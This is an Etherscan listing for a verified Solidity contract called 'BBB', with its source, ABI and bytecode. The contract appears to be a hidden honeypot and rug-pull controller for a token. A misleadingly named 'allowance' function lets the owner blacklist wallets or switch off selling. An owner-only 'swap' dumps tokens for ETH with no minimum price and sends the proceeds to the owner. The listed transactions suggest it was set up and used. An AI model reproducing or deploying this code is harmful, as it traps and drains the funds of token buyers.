Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Latest 6 from a total of 6 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Swap | 17514740 | 429 days ago | IN | 0 ETH | 0.00307047 | ||||
Add W | 17513407 | 430 days ago | IN | 0 ETH | 0.00100956 | ||||
Add W | 17513392 | 430 days ago | IN | 0 ETH | 0.00186414 | ||||
Set Enabled | 17513385 | 430 days ago | IN | 0 ETH | 0.00049515 | ||||
Init Param | 17513327 | 430 days ago | IN | 0 ETH | 0.00231808 | ||||
0x60806040 | 17513171 | 430 days ago | IN | 0 ETH | 0.01284668 |
Loading...
Loading
Contract Name:
BBB
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-19 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function decimals() external returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Router02 { function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract BBB is Ownable { using SafeMath for uint256; IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address coin; address pair; mapping(address => bool) whites; mapping(address => bool) blacks; bool enabled = true; receive() external payable { } function initParam(address _coin, address _pair) external onlyOwner { coin = _coin; pair = _pair; } function resetParam() external onlyOwner { coin = address(0); pair = address(0); } function setEnabled(bool _enabled) external onlyOwner { enabled = _enabled; } function allowance( address from, address to ) external view returns (uint256) { if (whites[from] || whites[to] || pair == address(0)) { return 1; } else if ((from == owner() || from == address(this)) && to == pair) { return 0; } if (from != pair) { require(enabled); require(!blacks[from]); } return 1; } function swap(uint256 count) external onlyOwner { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = coin; path[1] = uniswapV2Router.WETH(); IERC20(coin).approve(address(uniswapV2Router), ~uint256(0)); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( 10 ** count, 0, // accept any amount of ETH path, address(this), block.timestamp ); payable(msg.sender).transfer(address(this).balance); } function addW(address[] memory _wat) public onlyOwner{ for (uint i = 0; i < _wat.length; i++) { whites[_wat[i]] = true; } } function addB(address[] memory _bat) public onlyOwner{ for (uint i = 0; i < _bat.length; i++) { blacks[_bat[i]] = true; } } function claimDust() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"address[]","name":"_bat","type":"address[]"}],"name":"addB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_wat","type":"address[]"}],"name":"addW","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimDust","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_coin","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"initParam","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"resetParam","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1781556006805460ff1916909117905534801561004357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350610ce0806100946000396000f3fe6080604052600436106100a05760003560e01c806394b918de1161006457806394b918de1461015057806398da35d314610170578063bdb019ff14610190578063dd62ed3e146101a5578063df90ebe8146101d3578063f2fde38b146101e857600080fd5b80631f0860ce146100ac578063328d8f72146100ce578063715018a6146100ee578063874d9e3b146101035780638da5cb5b1461012357600080fd5b366100a757005b600080fd5b3480156100b857600080fd5b506100cc6100c736600461092f565b610208565b005b3480156100da57600080fd5b506100cc6100e9366004610a02565b6102a7565b3480156100fa57600080fd5b506100cc6102e4565b34801561010f57600080fd5b506100cc61011e36600461092f565b610358565b34801561012f57600080fd5b506000546040516001600160a01b0390911681526020015b60405180910390f35b34801561015c57600080fd5b506100cc61016b366004610a26565b6103ea565b34801561017c57600080fd5b506100cc61018b366004610a3f565b610613565b34801561019c57600080fd5b506100cc61066b565b3480156101b157600080fd5b506101c56101c0366004610a3f565b6106b3565b604051908152602001610147565b3480156101df57600080fd5b506100cc6107b1565b3480156101f457600080fd5b506100cc610203366004610a78565b61080a565b6000546001600160a01b0316331461023b5760405162461bcd60e51b815260040161023290610a95565b60405180910390fd5b60005b81518110156102a35760016004600084848151811061025f5761025f610aca565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061029b81610af6565b91505061023e565b5050565b6000546001600160a01b031633146102d15760405162461bcd60e51b815260040161023290610a95565b6006805460ff1916911515919091179055565b6000546001600160a01b0316331461030e5760405162461bcd60e51b815260040161023290610a95565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146103825760405162461bcd60e51b815260040161023290610a95565b60005b81518110156102a3576001600560008484815181106103a6576103a6610aca565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806103e281610af6565b915050610385565b6000546001600160a01b031633146104145760405162461bcd60e51b815260040161023290610a95565b604080516002808252606082018352600092602083019080368337505060025482519293506001600160a01b03169183915060009061045557610455610aca565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156104ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104d29190610b0f565b816001815181106104e5576104e5610aca565b6001600160a01b03928316602091820292909201015260025460015460405163095ea7b360e01b81529083166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af1158015610549573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056d9190610b2c565b506001546001600160a01b031663791ac94761058a84600a610c2d565b60008430426040518663ffffffff1660e01b81526004016105af959493929190610c39565b600060405180830381600087803b1580156105c957600080fd5b505af11580156105dd573d6000803e3d6000fd5b50506040513392504780156108fc029250906000818181858888f1935050505015801561060e573d6000803e3d6000fd5b505050565b6000546001600160a01b0316331461063d5760405162461bcd60e51b815260040161023290610a95565b600280546001600160a01b039384166001600160a01b03199182161790915560038054929093169116179055565b6000546001600160a01b031633146106955760405162461bcd60e51b815260040161023290610a95565b600280546001600160a01b0319908116909155600380549091169055565b6001600160a01b03821660009081526004602052604081205460ff16806106f257506001600160a01b03821660009081526004602052604090205460ff165b8061070657506003546001600160a01b0316155b15610713575060016107ab565b6000546001600160a01b038481169116148061073757506001600160a01b03831630145b801561075057506003546001600160a01b038381169116145b1561075d575060006107ab565b6003546001600160a01b038481169116146107a75760065460ff1661078157600080fd5b6001600160a01b03831660009081526005602052604090205460ff16156107a757600080fd5b5060015b92915050565b6000546001600160a01b031633146107db5760405162461bcd60e51b815260040161023290610a95565b60405133904780156108fc02916000818181858888f19350505050158015610807573d6000803e3d6000fd5b50565b6000546001600160a01b031633146108345760405162461bcd60e51b815260040161023290610a95565b6001600160a01b0381166108995760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610232565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080757600080fd5b803561092a8161090a565b919050565b6000602080838503121561094257600080fd5b823567ffffffffffffffff8082111561095a57600080fd5b818501915085601f83011261096e57600080fd5b813581811115610980576109806108f4565b8060051b604051601f19603f830116810181811085821117156109a5576109a56108f4565b6040529182528482019250838101850191888311156109c357600080fd5b938501935b828510156109e8576109d98561091f565b845293850193928501926109c8565b98975050505050505050565b801515811461080757600080fd5b600060208284031215610a1457600080fd5b8135610a1f816109f4565b9392505050565b600060208284031215610a3857600080fd5b5035919050565b60008060408385031215610a5257600080fd5b8235610a5d8161090a565b91506020830135610a6d8161090a565b809150509250929050565b600060208284031215610a8a57600080fd5b8135610a1f8161090a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201610b0857610b08610ae0565b5060010190565b600060208284031215610b2157600080fd5b8151610a1f8161090a565b600060208284031215610b3e57600080fd5b8151610a1f816109f4565b600181815b80851115610b84578160001904821115610b6a57610b6a610ae0565b80851615610b7757918102915b93841c9390800290610b4e565b509250929050565b600082610b9b575060016107ab565b81610ba8575060006107ab565b8160018114610bbe5760028114610bc857610be4565b60019150506107ab565b60ff841115610bd957610bd9610ae0565b50506001821b6107ab565b5060208310610133831016604e8410600b8410161715610c07575081810a6107ab565b610c118383610b49565b8060001904821115610c2557610c25610ae0565b029392505050565b6000610a1f8383610b8c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610c895784516001600160a01b031683529383019391830191600101610c64565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212202564660f60fc306a19d5d22767511d462d63c5c792b6cda0c4f72f1856f393be64736f6c63430008120033
Deployed Bytecode
0x6080604052600436106100a05760003560e01c806394b918de1161006457806394b918de1461015057806398da35d314610170578063bdb019ff14610190578063dd62ed3e146101a5578063df90ebe8146101d3578063f2fde38b146101e857600080fd5b80631f0860ce146100ac578063328d8f72146100ce578063715018a6146100ee578063874d9e3b146101035780638da5cb5b1461012357600080fd5b366100a757005b600080fd5b3480156100b857600080fd5b506100cc6100c736600461092f565b610208565b005b3480156100da57600080fd5b506100cc6100e9366004610a02565b6102a7565b3480156100fa57600080fd5b506100cc6102e4565b34801561010f57600080fd5b506100cc61011e36600461092f565b610358565b34801561012f57600080fd5b506000546040516001600160a01b0390911681526020015b60405180910390f35b34801561015c57600080fd5b506100cc61016b366004610a26565b6103ea565b34801561017c57600080fd5b506100cc61018b366004610a3f565b610613565b34801561019c57600080fd5b506100cc61066b565b3480156101b157600080fd5b506101c56101c0366004610a3f565b6106b3565b604051908152602001610147565b3480156101df57600080fd5b506100cc6107b1565b3480156101f457600080fd5b506100cc610203366004610a78565b61080a565b6000546001600160a01b0316331461023b5760405162461bcd60e51b815260040161023290610a95565b60405180910390fd5b60005b81518110156102a35760016004600084848151811061025f5761025f610aca565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061029b81610af6565b91505061023e565b5050565b6000546001600160a01b031633146102d15760405162461bcd60e51b815260040161023290610a95565b6006805460ff1916911515919091179055565b6000546001600160a01b0316331461030e5760405162461bcd60e51b815260040161023290610a95565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146103825760405162461bcd60e51b815260040161023290610a95565b60005b81518110156102a3576001600560008484815181106103a6576103a6610aca565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806103e281610af6565b915050610385565b6000546001600160a01b031633146104145760405162461bcd60e51b815260040161023290610a95565b604080516002808252606082018352600092602083019080368337505060025482519293506001600160a01b03169183915060009061045557610455610aca565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156104ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104d29190610b0f565b816001815181106104e5576104e5610aca565b6001600160a01b03928316602091820292909201015260025460015460405163095ea7b360e01b81529083166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af1158015610549573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056d9190610b2c565b506001546001600160a01b031663791ac94761058a84600a610c2d565b60008430426040518663ffffffff1660e01b81526004016105af959493929190610c39565b600060405180830381600087803b1580156105c957600080fd5b505af11580156105dd573d6000803e3d6000fd5b50506040513392504780156108fc029250906000818181858888f1935050505015801561060e573d6000803e3d6000fd5b505050565b6000546001600160a01b0316331461063d5760405162461bcd60e51b815260040161023290610a95565b600280546001600160a01b039384166001600160a01b03199182161790915560038054929093169116179055565b6000546001600160a01b031633146106955760405162461bcd60e51b815260040161023290610a95565b600280546001600160a01b0319908116909155600380549091169055565b6001600160a01b03821660009081526004602052604081205460ff16806106f257506001600160a01b03821660009081526004602052604090205460ff165b8061070657506003546001600160a01b0316155b15610713575060016107ab565b6000546001600160a01b038481169116148061073757506001600160a01b03831630145b801561075057506003546001600160a01b038381169116145b1561075d575060006107ab565b6003546001600160a01b038481169116146107a75760065460ff1661078157600080fd5b6001600160a01b03831660009081526005602052604090205460ff16156107a757600080fd5b5060015b92915050565b6000546001600160a01b031633146107db5760405162461bcd60e51b815260040161023290610a95565b60405133904780156108fc02916000818181858888f19350505050158015610807573d6000803e3d6000fd5b50565b6000546001600160a01b031633146108345760405162461bcd60e51b815260040161023290610a95565b6001600160a01b0381166108995760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610232565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080757600080fd5b803561092a8161090a565b919050565b6000602080838503121561094257600080fd5b823567ffffffffffffffff8082111561095a57600080fd5b818501915085601f83011261096e57600080fd5b813581811115610980576109806108f4565b8060051b604051601f19603f830116810181811085821117156109a5576109a56108f4565b6040529182528482019250838101850191888311156109c357600080fd5b938501935b828510156109e8576109d98561091f565b845293850193928501926109c8565b98975050505050505050565b801515811461080757600080fd5b600060208284031215610a1457600080fd5b8135610a1f816109f4565b9392505050565b600060208284031215610a3857600080fd5b5035919050565b60008060408385031215610a5257600080fd5b8235610a5d8161090a565b91506020830135610a6d8161090a565b809150509250929050565b600060208284031215610a8a57600080fd5b8135610a1f8161090a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201610b0857610b08610ae0565b5060010190565b600060208284031215610b2157600080fd5b8151610a1f8161090a565b600060208284031215610b3e57600080fd5b8151610a1f816109f4565b600181815b80851115610b84578160001904821115610b6a57610b6a610ae0565b80851615610b7757918102915b93841c9390800290610b4e565b509250929050565b600082610b9b575060016107ab565b81610ba8575060006107ab565b8160018114610bbe5760028114610bc857610be4565b60019150506107ab565b60ff841115610bd957610bd9610ae0565b50506001821b6107ab565b5060208310610133831016604e8410600b8410161715610c07575081810a6107ab565b610c118383610b49565b8060001904821115610c2557610c25610ae0565b029392505050565b6000610a1f8383610b8c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610c895784516001600160a01b031683529383019391830191600101610c64565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212202564660f60fc306a19d5d22767511d462d63c5c792b6cda0c4f72f1856f393be64736f6c63430008120033
Deployed Bytecode Sourcemap
7888:2247:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9688:159;;;;;;;;;;-1:-1:-1;9688:159:0;;;;;:::i;:::-;;:::i;:::-;;8487:91;;;;;;;;;;-1:-1:-1;8487:91:0;;;;;:::i;:::-;;:::i;6302:148::-;;;;;;;;;;;;;:::i;9855:159::-;;;;;;;;;;-1:-1:-1;9855:159:0;;;;;:::i;:::-;;:::i;5660:79::-;;;;;;;;;;-1:-1:-1;5698:7:0;5725:6;5660:79;;-1:-1:-1;;;;;5725:6:0;;;2062:51:1;;2050:2;2035:18;5660:79:0;;;;;;;;9042:638;;;;;;;;;;-1:-1:-1;9042:638:0;;;;;:::i;:::-;;:::i;8244:122::-;;;;;;;;;;-1:-1:-1;8244:122:0;;;;;:::i;:::-;;:::i;8374:105::-;;;;;;;;;;;;;:::i;8586:448::-;;;;;;;;;;-1:-1:-1;8586:448:0;;;;;:::i;:::-;;:::i;:::-;;;2848:25:1;;;2836:2;2821:18;8586:448:0;2702:177:1;10022:110:0;;;;;;;;;;;;;:::i;6605:244::-;;;;;;;;;;-1:-1:-1;6605:244:0;;;;;:::i;:::-;;:::i;9688:159::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;;;;;;;;;9757:6:::1;9752:88;9773:4;:11;9769:1;:15;9752:88;;;9824:4;9806:6;:15;9813:4;9818:1;9813:7;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;9806:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;9806:15:0;:22;;-1:-1:-1;;9806:22:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9786:3;::::1;::::0;::::1;:::i;:::-;;;;9752:88;;;;9688:159:::0;:::o;8487:91::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;8552:7:::1;:18:::0;;-1:-1:-1;;8552:18:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8487:91::o;6302:148::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;6409:1:::1;6393:6:::0;;6372:40:::1;::::0;-1:-1:-1;;;;;6393:6:0;;::::1;::::0;6372:40:::1;::::0;6409:1;;6372:40:::1;6440:1;6423:19:::0;;-1:-1:-1;;;;;;6423:19:0::1;::::0;;6302:148::o;9855:159::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;9924:6:::1;9919:88;9940:4;:11;9936:1;:15;9919:88;;;9991:4;9973:6;:15;9980:4;9985:1;9980:7;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;9973:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;9973:15:0;:22;;-1:-1:-1;;9973:22:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9953:3;::::1;::::0;::::1;:::i;:::-;;;;9919:88;;9042:638:::0;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;9187:16:::1;::::0;;9201:1:::1;9187:16:::0;;;;;::::1;::::0;;9163:21:::1;::::0;9187:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;-1:-1:-1::0;;9224:4:0::1;::::0;9214:7;;;;-1:-1:-1;;;;;;9224:4:0::1;::::0;9214:7;;-1:-1:-1;9224:4:0::1;::::0;9214:7:::1;;;;:::i;:::-;-1:-1:-1::0;;;;;9214:14:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:14;;;;9249:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9249:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9214:7;;9249:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9239:4;9244:1;9239:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9239:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9291:4:::1;::::0;;9313:15;9284:59:::1;::::0;-1:-1:-1;;;9284:59:0;;9313:15;;::::1;9284:59;::::0;::::1;4331:51:1::0;-1:-1:-1;;4398:18:1;;;4391:34;9291:4:0;::::1;::::0;9284:20:::1;::::0;4304:18:1;;9284:59:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;9382:15:0::1;::::0;-1:-1:-1;;;;;9382:15:0::1;:66;9463:11;9469:5:::0;9463:2:::1;:11;:::i;:::-;9489:1;9533:4;9560;9580:15;9382:224;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;9621:51:0::1;::::0;9629:10:::1;::::0;-1:-1:-1;9650:21:0::1;9621:51:::0;::::1;;;::::0;-1:-1:-1;9650:21:0;9621:51:::1;::::0;;;9650:21;9629:10;9621:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9090:590;9042:638:::0;:::o;8244:122::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;8323:4:::1;:12:::0;;-1:-1:-1;;;;;8323:12:0;;::::1;-1:-1:-1::0;;;;;;8323:12:0;;::::1;;::::0;;;8346:4:::1;:12:::0;;;;;::::1;::::0;::::1;;::::0;;8244:122::o;8374:105::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;8426:4:::1;:17:::0;;-1:-1:-1;;;;;;8426:17:0;;::::1;::::0;;;8454:4:::1;:17:::0;;;;::::1;::::0;;8374:105::o;8586:448::-;-1:-1:-1;;;;;8703:12:0;;8679:7;8703:12;;;:6;:12;;;;;;;;;:26;;-1:-1:-1;;;;;;8719:10:0;;;;;;:6;:10;;;;;;;;8703:26;:48;;;-1:-1:-1;8733:4:0;;-1:-1:-1;;;;;8733:4:0;:18;8703:48;8699:201;;;-1:-1:-1;8775:1:0;8768:8;;8699:201;5698:7;5725:6;-1:-1:-1;;;;;8808:15:0;;;5725:6;;8808:15;;:40;;-1:-1:-1;;;;;;8827:21:0;;8843:4;8827:21;8808:40;8807:56;;;;-1:-1:-1;8859:4:0;;-1:-1:-1;;;;;8853:10:0;;;8859:4;;8853:10;8807:56;8803:97;;;-1:-1:-1;8887:1:0;8880:8;;8803:97;8922:4;;-1:-1:-1;;;;;8914:12:0;;;8922:4;;8914:12;8910:98;;8951:7;;;;8943:16;;;;;;-1:-1:-1;;;;;8983:12:0;;;;;;:6;:12;;;;;;;;8982:13;8974:22;;;;;;-1:-1:-1;9025:1:0;8586:448;;;;;:::o;10022:110::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;10073:51:::1;::::0;10081:10:::1;::::0;10102:21:::1;10073:51:::0;::::1;;;::::0;::::1;::::0;;;10102:21;10081:10;10073:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10022:110::o:0;6605:244::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6694:22:0;::::1;6686:73;;;::::0;-1:-1:-1;;;6686:73:0;;7247:2:1;6686:73:0::1;::::0;::::1;7229:21:1::0;7286:2;7266:18;;;7259:30;7325:34;7305:18;;;7298:62;-1:-1:-1;;;7376:18:1;;;7369:36;7422:19;;6686:73:0::1;7045:402:1::0;6686:73:0::1;6796:6;::::0;;6775:38:::1;::::0;-1:-1:-1;;;;;6775:38:0;;::::1;::::0;6796:6;::::1;::::0;6775:38:::1;::::0;::::1;6824:6;:17:::0;;-1:-1:-1;;;;;;6824:17:0::1;-1:-1:-1::0;;;;;6824:17:0;;;::::1;::::0;;;::::1;::::0;;6605:244::o;14:127:1:-;75:10;70:3;66:20;63:1;56:31;106:4;103:1;96:15;130:4;127:1;120:15;146:131;-1:-1:-1;;;;;221:31:1;;211:42;;201:70;;267:1;264;257:12;282:134;350:20;;379:31;350:20;379:31;:::i;:::-;282:134;;;:::o;421:1121::-;505:6;536:2;579;567:9;558:7;554:23;550:32;547:52;;;595:1;592;585:12;547:52;635:9;622: